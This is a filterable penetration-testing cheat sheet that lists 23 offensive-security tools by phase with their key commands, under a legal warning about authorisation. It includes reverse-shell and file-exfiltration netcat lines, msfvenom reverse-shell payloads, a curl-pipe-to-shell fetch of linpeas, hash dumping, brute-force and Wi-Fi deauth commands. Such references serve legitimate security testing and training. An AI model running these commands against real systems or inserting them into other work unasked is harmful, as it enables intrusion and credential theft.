Pen Test
Cheat Sheet

white-hat-tools --cheatsheet

Filterable reference of white hat / penetration testing tools: key commands and use cases.

23 tools
7 phases
Kali, Parrot, BlackArch
Legal: Use only against systems you own or have explicit written authorisation to test. Unauthorised scanning and exploitation is illegal in most jurisdictions and will trigger IDS alerts.
Phase 23 tools shown
Tool Phase Key commands Use case
nmap recon
nmap -sV -sC -p- <ip> nmap -A -T4 <ip> nmap --script vuln <ip> nmap -sU -p 53,161 <ip>
Port scan, service/version detection, OS fingerprint, NSE scripts for vuln detection
amass recon
amass enum -d example.com amass enum -brute -d example.com amass db -show -d example.com
Subdomain enumeration via DNS, APIs, and certificate transparency logs
theHarvester recon
theHarvester -d example.com -b all theHarvester -d example.com -b google,shodan
OSINT: emails, subdomains, IPs, employee names from public sources
shodan CLI recon
shodan host <ip> shodan search "apache 2.4" country:DE shodan stats --facets port apache
Internet-exposed asset discovery, CVE lookups, banner grabbing
enum4linux-ng recon
enum4linux-ng -A <ip> enum4linux-ng -U <ip> enum4linux-ng -S <ip>
SMB/Samba enumeration: users, shares, policies, OS info
dnsx recon
dnsx -d example.com -a -cname cat subs.txt | dnsx -resp-only dnsx -l hosts.txt -ptr
Fast DNS resolver; A/CNAME/PTR/MX lookup in bulk; pairs with amass output
burp suite web
# proxy → intercept on # Repeater: modify & replay requests # Intruder: fuzz params / brute creds # Scanner: passive + active scan # Decoder: base64 / url / hex
Web app testing: intercept/modify HTTP, automated scanning, CSRF/IDOR/XSS/SSRF
nikto web
nikto -h http://target.com nikto -h target.com -p 443 -ssl nikto -h target.com -Tuning 9
Web server misconfig, outdated software, default files, dangerous headers
sqlmap web
sqlmap -u "http://t.com?id=1" --dbs sqlmap -u "http://t.com?id=1" -D db -T users --dump sqlmap -r req.txt --level=5 --risk=3 sqlmap --os-shell
Automated SQL injection detection and exploitation; can escalate to OS shell
ffuf web
ffuf -u http://t.com/FUZZ -w wordlist.txt ffuf -u http://t.com -H "Host: FUZZ.t.com" -w subs.txt ffuf -u http://t.com/FUZZ -w list.txt -fc 404 ffuf -u http://t.com/FUZZ -e .php,.bak,.conf
Fast dir/file fuzzing, vhost/subdomain brute, param discovery
gobuster web
gobuster dir -u http://t.com -w common.txt gobuster dns -d example.com -w subs.txt gobuster vhost -u http://t.com -w vhosts.txt
Directory/file/subdomain/vhost brute-force; simpler API than ffuf
nuclei web
nuclei -u https://target.com nuclei -l targets.txt -t cves/ nuclei -u https://t.com -t exposures/ -severity critical,high nuclei -update-templates
Template-based vuln scanner; CVEs, misconfigs, exposures; auditable at scale
wireshark / tshark network
tshark -i eth0 -w cap.pcap tshark -r cap.pcap -Y "http.request" tshark -r cap.pcap -T fields -e http.host wireshark -k -i eth0
Packet capture, protocol analysis, credential sniffing on unencrypted traffic
tcpdump network
tcpdump -i eth0 -w out.pcap tcpdump -r out.pcap port 80 tcpdump -i any host 10.0.0.1 tcpdump -n -X -s0 port 443
CLI packet capture; filter by host/port/proto; pipe to tshark
netcat (nc) network
nc -lvnp 4444 nc <ip> 4444 -e /bin/bash nc <ip> 80 nc -zv <ip> 20-1024 cat file | nc <ip> 9999
Reverse/bind shells, port scan, file transfer, banner grabbing
openssl network
openssl s_client -connect t.com:443 openssl s_client -connect t.com:443 -tlsext_debug openssl x509 -in cert.pem -text -noout openssl ciphers -v 'ALL'
TLS handshake inspection, cert analysis, cipher suite enumeration
responder network
responder -I eth0 -rdwv responder -I eth0 -A # logs to /usr/share/responder/logs/
LLMNR/NBT-NS/mDNS poisoning to capture NTLMv2 hashes on local network
metasploit exploit
msfconsole search type:exploit name:eternalblue use exploit/windows/smb/ms17_010_eternalblue set RHOSTS <ip> ; set LHOST <ip> show payloads ; set PAYLOAD ... run ; sessions -l ; sessions -i 1
Exploit known CVEs, generate payloads, manage sessions, post-exploitation framework
msfvenom exploit
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o shell msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=443 -f exe -o p.exe msfvenom --list payloads | grep python
Payload generation: ELF, EXE, shellcode, scripts; pairs with nc listener or MSF handler
linpeas post-exploit
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh ./linpeas.sh -a | tee out.txt ./linpeas.sh -o SYS_TOOLS,PROCS
Linux privesc: SUID, sudo misconfigs, crons, writable paths, kernel vulns
winpeas post-exploit
winpeas.exe winpeas.exe quiet cmd fast winpeas.exe systeminfo
Windows privesc: unquoted paths, AlwaysInstallElevated, stored creds, weak services
impacket post-exploit
secretsdump.py domain/user:pass@<ip> psexec.py domain/user:pass@<ip> GetUserSPNs.py domain/user:pass -dc-ip <ip> -request wmiexec.py domain/user:pass@<ip>
AD attacks: hash dumping, Kerberoasting, Pass-the-Hash, remote exec without PSExec detection
bloodhound post-exploit
SharpHound.exe --CollectionMethods All bloodhound-python -d domain -u user -p pass -c all # import zip → find path to Domain Admin
AD attack path visualisation: shortest path to DA, ACL abuse, Kerberoastable accounts
hashcat password
hashcat -m 0 hashes.txt rockyou.txt hashcat -m 1000 ntlm.txt rockyou.txt -r rules/best64.rule hashcat -m 1800 sha512.txt rockyou.txt --force hashcat --example-hashes | grep -A2 NTLM
GPU-accelerated hash cracking: MD5/NTLM/bcrypt/SHA; rule-based mutation
john password
john hashes.txt --wordlist=rockyou.txt john --format=sha512crypt shadow.txt john --show hashes.txt zip2john file.zip > hash.txt && john hash.txt
CPU hash cracking; extract hashes from zip/pdf/SSH keys via *2john helpers
hydra password
hydra -l admin -P rockyou.txt ssh://<ip> hydra -L users.txt -P pass.txt ftp://<ip> hydra -l admin -P pass.txt http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect" hydra -t 4 -l root -P pass.txt rdp://<ip>
Online brute-force: SSH, FTP, HTTP forms, RDP, SMTP, SMB
aircrack-ng wireless
airmon-ng start wlan0 airodump-ng wlan0mon airodump-ng -c 6 --bssid <mac> -w cap wlan0mon aireplay-ng -0 10 -a <bssid> wlan0mon aircrack-ng cap-01.cap -w rockyou.txt
WPA/WPA2 handshake capture + offline crack; WEP crack; deauth attack
No tools match this filter.